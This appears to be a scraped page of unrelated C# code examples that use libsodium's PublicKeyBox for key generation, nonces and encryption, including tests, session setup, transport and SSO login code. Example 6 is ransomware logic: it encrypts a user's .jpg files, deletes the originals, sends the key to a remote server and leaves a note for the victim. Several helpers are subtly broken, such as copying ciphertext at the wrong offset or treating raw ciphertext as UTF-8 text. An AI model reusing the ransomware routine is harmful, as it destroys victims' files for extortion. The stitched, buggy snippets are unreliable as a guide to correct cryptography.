public void DetachedBoxTest()
        {
            var    alice   = PublicKeyBox.GenerateKeyPair();
            var    bob     = PublicKeyBox.GenerateKeyPair();
            var    nonce   = PublicKeyBox.GenerateNonce();
            String message = "Hello, World!";

            byte[] byteMessage = System.Text.Encoding.UTF8.GetBytes(message);

            var e1 = PublicKeyBox.CreateDetached(message, nonce, bob.Secret, alice.Public);
            var e2 = PublicKeyBox.CreateDetached(message, nonce, bob.Secret, alice.Public);

            Assert.AreEqual(Convert.ToBase64String(e1.Cipher), Convert.ToBase64String(e2.Cipher));
            Assert.AreEqual(Convert.ToBase64String(e1.Mac), Convert.ToBase64String(e2.Mac));

            var d1 = PublicKeyBox.OpenDetached(e1, nonce, alice.Secret, bob.Public);
            var d2 = PublicKeyBox.OpenDetached(e2, nonce, alice.Secret, bob.Public);

            Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d1));
            Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d2));

            d1 = PublicKeyBox.OpenDetached(e1.Cipher, e1.Mac, nonce, alice.Secret, bob.Public);
            d2 = PublicKeyBox.OpenDetached(e2.Cipher, e2.Mac, nonce, alice.Secret, bob.Public);

            Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d1));
            Assert.AreEqual(message, System.Text.Encoding.UTF8.GetString(d2));
        }
Esempio n. 2
0
 public void preKeyGeneration()
 {
     // Generate 16 prekeys
     for (int i = 0; i < 16; i++)
     {
         preKeys.Add(PublicKeyBox.GenerateSeededKeyPair(PublicKeyBox.GenerateNonce()));
     }
 }
Esempio n. 3
0
        public static void InitSession(InfoCliente infoCliente, UsuarioEntity usuario, TipoAplicacion idAplicacion = TipoAplicacion.ORDENES)
        {
            MAEUserSession userSession            = new MAEUserSession();
            var            configuracionSeguridad = CachingManager.Instance.GetConfiguracionSeguridad();

            userSession.IdPersona             = (int)usuario.IdPersona;
            userSession.IdUsuario             = usuario.IdUsuario;
            userSession.Ip                    = infoCliente.Ip;
            userSession.Dispositivo           = infoCliente.Dispositivo;
            userSession.FechaInicio           = DateTime.Now;
            userSession.FechaFinalizacion     = MAEDateTimeTools.DateTimeAdd(DateTime.Now, configuracionSeguridad.TimeOutInicialSesion, "s");
            userSession.IdAplicacion          = (byte)idAplicacion;
            userSession.UltimaActualizacion   = usuario.UltimaActualizacion;
            userSession.ConfiguracionRegional = usuario.ConfiguracionRegional;

            //AESEncryptor encryptor = new AESEncryptor();
            //userSession.Global = encryptor.GetUniqueKey();
            //SecurityHelper.GetRSAKey(ref userSession);
            var clientKeyPair = PublicKeyBox.GenerateKeyPair();
            var serverKeyPair = PublicKeyBox.GenerateKeyPair();

            userSession.PrivateKey = Convert.ToBase64String(clientKeyPair.PrivateKey);
            userSession.PublicKey  = Convert.ToBase64String(clientKeyPair.PublicKey);

            userSession.ClientPublic              = Convert.ToBase64String(clientKeyPair.PublicKey);
            userSession.ClientSecret              = Convert.ToBase64String(clientKeyPair.PrivateKey);
            userSession.ServerPublic              = Convert.ToBase64String(serverKeyPair.PublicKey);
            userSession.ServerSecret              = Convert.ToBase64String(serverKeyPair.PrivateKey);
            userSession.Nonce                     = Convert.ToBase64String(PublicKeyBox.GenerateNonce());
            userSession.AllowedCommands           = new Dictionary <string, Type>();
            userSession.JavascriptAllowedCommands = new Dictionary <string, string>();
            userSession.PermisosUsuario           = new Dictionary <string, bool>();
            List <Permiso>           PermisosUsuario = CachingManager.Instance.GetAllPermisosByIdUsuario(userSession.IdUsuario);
            Dictionary <string, int> mapeoAcciones   = new Dictionary <string, int>();
            var Acciones = CachingManager.Instance.GetAllAcciones();

            OrdenesApplication.Instance.GetComandosHabilitados(idAplicacion)
            .ForEach(cmd =>
            {
                var k = OrdenesApplication.Instance.Encryptor.DynamicEncryption(cmd.FullName);
                userSession.AllowedCommands.Add(k, cmd.CommandType);
                userSession.JavascriptAllowedCommands.Add(cmd.Key, k);
                mapeoAcciones.Add(k, cmd.IdAccion);
            });
            foreach (KeyValuePair <string, int> kv in mapeoAcciones)
            {
                Permiso p = PermisosUsuario.Find(x => x.IdAccion == kv.Value);
                if (p != null)
                {
                    var  permisoAccion = Acciones.Find(x => x.IdAccion == kv.Value).HabilitarPermisos;
                    bool habilitado    = (p.Permisos & permisoAccion) != 0;
                    userSession.PermisosUsuario.Add(kv.Key, habilitado);
                }
            }
            CreateSesiones(userSession, (byte)idAplicacion);
            InsertarLogSeguridad((byte)LogCodigoAccionSeguridad.InicioSesion, "Inicio de sesión exitoso", (byte)idAplicacion);
        }
        /// <summary>
        /// Encrypt a Business Object for a given public key
        /// </summary>
        /// <param name="plainObject">unencrypted Business Object</param>
        /// <param name="publicKey">recipients public key</param>
        /// <returns>An encrypted Business Object</returns>
        public EncryptedObjectPublicKeyBox Encrypt(BusinessObject plainObject, string publicKey)
        {
            string plainText = JsonConvert.SerializeObject(plainObject, settings: encryptionSerializerSettings);

            byte[] nonce        = PublicKeyBox.GenerateNonce();
            string cipherString = Encrypt(plainText, publicKey, nonce);

            return(new EncryptedObjectPublicKeyBox(cipherString, Convert.ToBase64String(ownPublicKey), Convert.ToBase64String(nonce)));
        }
Esempio n. 5
0
        public static string[] RSAEncryption(string publicKey, string privateKey, string plainText)
        {
            var encodedPrivateKey = Encoding.UTF8.GetBytes(privateKey);
            var encodedPublicKey  = Encoding.UTF8.GetBytes(publicKey);
            var nonce             = PublicKeyBox.GenerateNonce();
            var cipherText        = PublicKeyBox.Create(plainText, nonce, encodedPrivateKey, encodedPublicKey);

            return(new[] { Encoding.UTF8.GetString(cipherText), Encoding.UTF8.GetString(nonce) });
        }
Esempio n. 6
0
        private static void Main()
        {
            // files to search for
            var searchPattern = new[] { "jpg" };

            try
            {
                var ephemeralKeyPair = PublicKeyBox.GenerateKeyPair();
                var nonce            = PublicKeyBox.GenerateNonce();
                // we encrypt the ephemeral private key for the target public key
                var cipher = PublicKeyBox.Create(ephemeralKeyPair.PrivateKey, nonce, ephemeralKeyPair.PrivateKey,
                                                 Utilities.HexToBinary(TargetPublicKeyHex));

                var textToSendRemote =
                    Convert.ToBase64String(ArrayHelpers.ConcatArrays(nonce, ephemeralKeyPair.PublicKey, cipher));
                var textToShowTheUser =
                    string.Format(
                        "Your public key: {0}\nThis key is used to identify your private decryption key (on the admin site).",
                        Utilities.BinaryToHex(ephemeralKeyPair.PublicKey));
                cipher = null;
                nonce  = null;
                var files = GetFiles(MainFolder, searchPattern);
                if (files.Count > ParallelUseBorder)
                {
                    Parallel.ForEach(files, file =>
                    {
                        Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true);
                        if (SecureRandomDelete)
                        {
                            SecureDelete(file);
                        }
                        File.Delete(file);
                    });
                }
                else
                {
                    foreach (var file in files)
                    {
                        Cryptor.EncryptFileWithStream(ephemeralKeyPair, file, null, EncryptedFileExtension, true);
                        if (SecureRandomDelete)
                        {
                            SecureDelete(file);
                        }
                        File.Delete(file);
                    }
                }
                ephemeralKeyPair.Dispose();

                SendToRemoteServer(textToSendRemote);
                CreateUserFile(Path.Combine(MainFolder, UserFile), textToShowTheUser);
            }
            catch
            {
                /*  */
            }
        }
Esempio n. 7
0
        public static byte[] Encrypt(string message, KeyPair keypair)
        {
            var nonce  = PublicKeyBox.GenerateNonce();
            var cipher = PublicKeyBox.Create(message, nonce, keypair.PrivateKey, keypair.PublicKey);
            var output = new byte[nonce.Length + cipher.Length];

            nonce.CopyTo(output, 0);
            cipher.CopyTo(output, cipher.Length);
            return(output);
        }
Esempio n. 8
0
    public static byte[] Encrypt(byte[] message, byte[] yourPrivateKey, byte[] theirPublicKey)
    {
        var nonce  = PublicKeyBox.GenerateNonce();
        var cipher = PublicKeyBox.Create(message, nonce, yourPrivateKey, theirPublicKey);
        var output = new byte[nonce.Length + cipher.Length];

        nonce.CopyTo(output, 0);
        cipher.CopyTo(output, cipher.Length);
        return(output);
    }
Esempio n. 9
0
        public void CreateAndOpenWithOneKeyTest()
        {
            var kp    = PublicKeyBox.GenerateKeyPair();
            var nonce = PublicKeyBox.GenerateNonce();

            byte[] message = System.Text.Encoding.UTF8.GetBytes("Hello, World!");

            var encrypted = PublicKeyBox.Create(message, nonce, kp.Secret, kp.Public);
            var decrypted = PublicKeyBox.Open(encrypted, nonce, kp.Secret, kp.Public);

            Assert.AreEqual(decrypted.ToString(), message.ToString());
        }
Esempio n. 10
0
        /// <summary>
        /// Locks Data
        ///
        /// Primitive: X25519 + XSalsa20 + Poly1305 MAC  (libsodium crypto_box)
        /// </summary>
        /// <param name="str">The Data to lock</param>
        /// <returns>The locked Data</returns>
        /// /// <example>
        /// <code>
        /// var TEST_STRING = "eine kuh macht muh, viele kühe machen mühe"
        /// // Create a new Symmertic Key
        /// var key = new Key();
        /// // Create a locker with this key
        /// var locker = new SecretLocker(key);
        /// // Encrypt the bytes
        /// var ciphertext = locker.Lock(TEST_STRING);
        /// // Decrypt the bytes
        /// var plaintext = locker.UnlockBytes(ciphertext);
        /// // Clear Keys
        /// locker.Clear();
        /// </code>
        /// </example>
        public ISharedLocked Lock(byte[] data)
        {
            if (data == null || data.Length == 0)
            {
                throw new ArgumentNullException(nameof(data));
            }

            var nonce     = new Nonce(PublicKeyBox.GenerateNonce());
            var encrypted = PublicKeyBox.Create(data, nonce.Bytes, secretKey: privateKey.Bytes, publicKey: publickKey.Bytes);

            return(new SharedLocked(encrypted, nonce));
        }
Esempio n. 11
0
        private void SendData(byte[] encodedData)
        {
            var nonce     = PublicKeyBox.GenerateNonce();
            var encrypted = PublicKeyBox.Create(encodedData, nonce, localKeyPair.PrivateKey, remotePublicKey);
            var packet    = Encoding.ASCII.GetBytes("Aud")
                            .Concat(sessionID)
                            .Concat(BitConverter.GetBytes(seq))
                            .Concat(nonce)
                            .Concat(encrypted)
                            .ToArray();

            seq++;
            client.Send(packet, packet.Length);
        }
Esempio n. 12
0
        /// <summary>
        ///     Generate a new random key.
        /// </summary>
        /// <returns>A random key.</returns>
        private static Key GenerateNewKey()
        {
            var keyPair = PublicKeyBox.GenerateKeyPair();
            var key     = new Key
            {
                KeyType    = KeyType.Lageant,
                PrivateKey = keyPair.PrivateKey,
                PublicKey  = keyPair.PublicKey,
                KeyId      = SodiumCore.GetRandomBytes(8),
                KeySalt    = PasswordHash.GenerateSalt(),
                KeyNonce   = PublicKeyBox.GenerateNonce()
            };

            return(key);
        }
Esempio n. 13
0
File: Monke.cs Progetto: dededec/TFG
    public override void ServerSend(int connectionId, int channelId, ArraySegment <byte> segment)
    {
        if (_serverSessions.ContainsKey(connectionId))
        {
            int pos = 0;
            _clientSendBuffer.WriteByte(ref pos, (byte)OpCodes.Data);
            _writeBuffer = new byte[segment.Count];
            Buffer.BlockCopy(segment.Array, segment.Offset, _writeBuffer, 0, segment.Count);
            _nonce = PublicKeyBox.GenerateNonce();

            _clientSendBuffer.WriteBytes(ref pos, PublicKeyBox.Create(_writeBuffer, _nonce, _keyPair.PrivateKey, _serverSessions[connectionId]));
            _clientSendBuffer.WriteBytes(ref pos, _nonce);
            CommunicationTransport.ServerSend(connectionId, channelId, new ArraySegment <byte>(_clientSendBuffer, 0, pos));
        }
    }
        public void CreateAndOpenWithKeyExchangeTest()
        {
            var    alice   = PublicKeyBox.GenerateKeyPair();
            var    bob     = PublicKeyBox.GenerateKeyPair();
            var    nonce   = PublicKeyBox.GenerateNonce();
            String message = "Hello, World!";

            byte[] byteMessage = System.Text.Encoding.UTF8.GetBytes(message);

            var encrypted = PublicKeyBox.Create(byteMessage, nonce, alice.Secret, bob.Public);
            var decrypted = PublicKeyBox.Open(encrypted, nonce, bob.Secret, alice.Public);

            Assert.AreEqual(decrypted.ToString(), byteMessage.ToString());

            var newEncrypted = PublicKeyBox.Create(message, nonce, alice.Secret, bob.Public);

            Assert.AreEqual(Convert.ToBase64String(encrypted), Convert.ToBase64String(newEncrypted));
            var newDecrypted = PublicKeyBox.Open(newEncrypted, nonce, bob.Secret, alice.Public);

            Assert.AreEqual(decrypted.ToString(), newDecrypted.ToString());
        }
Esempio n. 15
0
 /// <summary>
 /// Encrypts data with a public key
 /// </summary>
 /// <param name="data">String data to encrypt</param>
 /// <param name="publicKey">32 byte public key</param>
 /// <param name="version">Int version to generated</param>
 /// <returns>byte[] containing the encrypted data</returns>
 public byte[] Encrypt(String data, byte[] publicKey, int version = 2)
 {
     byte[] nonce = PublicKeyBox.GenerateNonce();
     return(Encrypt(data, publicKey, version, nonce));
 }
Esempio n. 16
0
 public void GenerateNonceText()
 {
     Assert.AreEqual(24, PublicKeyBox.GenerateNonce().Length);
 }
Esempio n. 17
0
 private static byte[] GenerateNonce()
 {
     return(PublicKeyBox.GenerateNonce());
 }
Esempio n. 18
0
 public static byte[] GenerateSessionKey()
 {
     return(PublicKeyBox.GenerateNonce());
 }
 /// <summary>
 /// Encrypt a plain text with a public key
 /// </summary>
 /// <param name="plainText">UTF-8 encoded string containing the plain text to be encrypted</param>
 /// <param name="recipientsPublicKey">public key of receiver</param>
 /// <returns>Tuple of (cipherText, nonce); both as base64 encoded string</returns>
 public (string, string) Encrypt(string plainText, string recipientsPublicKey)
 {
     byte[] nonce = PublicKeyBox.GenerateNonce();
     return(Encrypt(plainText, recipientsPublicKey, nonce), Convert.ToBase64String(nonce));
 }
Esempio n. 20
0
        /// <summary>
        /// Führt einen Login-Prozess mit dem übergebenen Token durch.
        /// Executes the login process with the given token.
        /// Executer le procès d'authentification avec le jeton donné.
        /// </summary>
        /// <param name="token">Das Token, das für den Login verwendet werden soll. The token used to execute the login process. Le signe utilisé pour executer le procès d'authentification.</param>
        /// <returns></returns>
        public static bool Login(string token)
        {
            try
            {
                // Eine Nonce erstellen, um ein Box-Objekt erstellen zu können.
                // Create a nonce used to create a Box object.
                // Créer un nonce utilisé pour créer un objet Box.
                byte[] nonce = PublicKeyBox.GenerateNonce();

                // Einen 64 Byte großen Puffer erstellen und ihn mit zufälligen Bytes füllen.
                // Create a 64-byte buffer array and fill it with random bytes.
                // Créer un tableau tampon de 64 octets et remplisser-le avec des octets aléatoires.
                byte[] buffer = new byte[64];
                new Random().NextBytes(buffer);

                // Ein Box-Object erzeugen, die zur Kommunikation mit mySMS unter Verwendung des öffentlichen und privaten Schlüssels dient.
                // Create a Box object to communicate with mySMS using the public and private key.
                // Créer un object Box pour communiquer avec mySMS en utilisant les clés publique et privée.
                byte[] encrypted = PublicKeyBox.Create(buffer, nonce, Convert.FromBase64String(APPLICATION_PRIVATE_KEY), Convert.FromBase64String(PLATFORM_PUBLIC_KEY));

                // Nonce und verschlüsselten Text aneinanderreihen und in einen Base64-String umwandeln.
                // Concatenate the nonce and the encrypted text and convert it to a base64 string.
                // Concaténer le nonce et le texte chiffré et convertisser-le en chaîne base64.
                byte[] payload = nonce.Concat(encrypted).ToArray();
                string base64  = Convert.ToBase64String(payload, Base64FormattingOptions.None);

                // Eine HTTP-Anfrage an die Plattform senden.
                // Send an HTTP request to the platform.
                // Envoyer une requête HTTP à la plate-forme.
                string         sso_url = string.Format("{0}/auth/lookup/{1}", SSO_BASE_URL, token);
                HttpWebRequest req     = WebRequest.CreateHttp(sso_url);
                req.Headers.Add("Authorization", string.Format("PRODUCTAUTH {0}:{1}", PRODUCT_NAME, base64));

                // Die Antwort empfangen und verarbeiten
                // Receive and proceed the response.
                // Recever et passer la réponse.
                HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
                if (!(resp.StatusCode == HttpStatusCode.OK))
                {
                    return(false);
                }

                using (MemoryStream ms = new MemoryStream())
                {
                    resp.GetResponseStream().CopyTo(ms);
                    resp.Close();

                    // Die Antwort enthält die 24 Byte lange Nonce und die verschlüsselten Benutzerdaten.
                    // The response contains the nonce with a size of 24 bytes and the encrypted user data.
                    // La réponse contient la nonce avec un longueur de 24 octets et les données d'utilisateur cryptées.
                    byte[] encr_nonce = ms.ToArray().Take(24).ToArray();
                    byte[] encr_data  = ms.ToArray().Skip(24).ToArray();
                    byte[] decrypted  = PublicKeyBox.Open(encr_data, encr_nonce, Convert.FromBase64String(APPLICATION_PRIVATE_KEY), Convert.FromBase64String(PLATFORM_PUBLIC_KEY));
                }

                return(true);
            }
            // Fängt WebException-Objekte auf, die auftreten, wenn die HTTP-Anfrage ungültig ist oder nicht verarbeitet werden kann.
            // Catches WebException objects thrown if the HTTP request is invalid or cannot be proceeded.
            // Attrape les objets WebException levés si la demande HTTP n'est pas valide ou ne peut pas être poursuivie.
            catch (WebException ex)
            {
                Console.WriteLine("Error communicating with mySMS: " + ex.Message);
                return(false);
            }
            // Fängt CryptographicException-Objekte auf, die auftreten, wenn die Ver- oder Entschlüsselung fehlschlägt.
            // Catches CryptographicException objects thrown if the encryption or decryption fails.
            // Attrape les objets CryptographicException levés si le chiffrement ou le déchiffrement échoue.
            catch (CryptographicException ex)
            {
                Console.WriteLine("Error encrypting or decrypting data: " + ex.Message);
                return(false);
            }
            // Fängt alle anderen Exception-Objekte auf, die nicht von einem der oberen beiden Typen sind.
            // Catches any other Exception that is not of one of the above types.
            // Attrape toute autre exception qui n'est pas de l'un des types ci-dessus.
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                return(false);
            }
        }
Esempio n. 21
0
 /// <summary>
 /// Encrypts data with a public key
 /// </summary>
 /// <param name="data">String data to encrypt</param>
 /// <param name="publicKey">32 byte public key</param>
 /// <returns>byte[] containing the encrypted data</returns>
 public byte[] Encrypt(String data, byte[] publicKey)
 {
     byte[] nonce = PublicKeyBox.GenerateNonce();
     return(Encrypt(data, publicKey, 2, nonce));
 }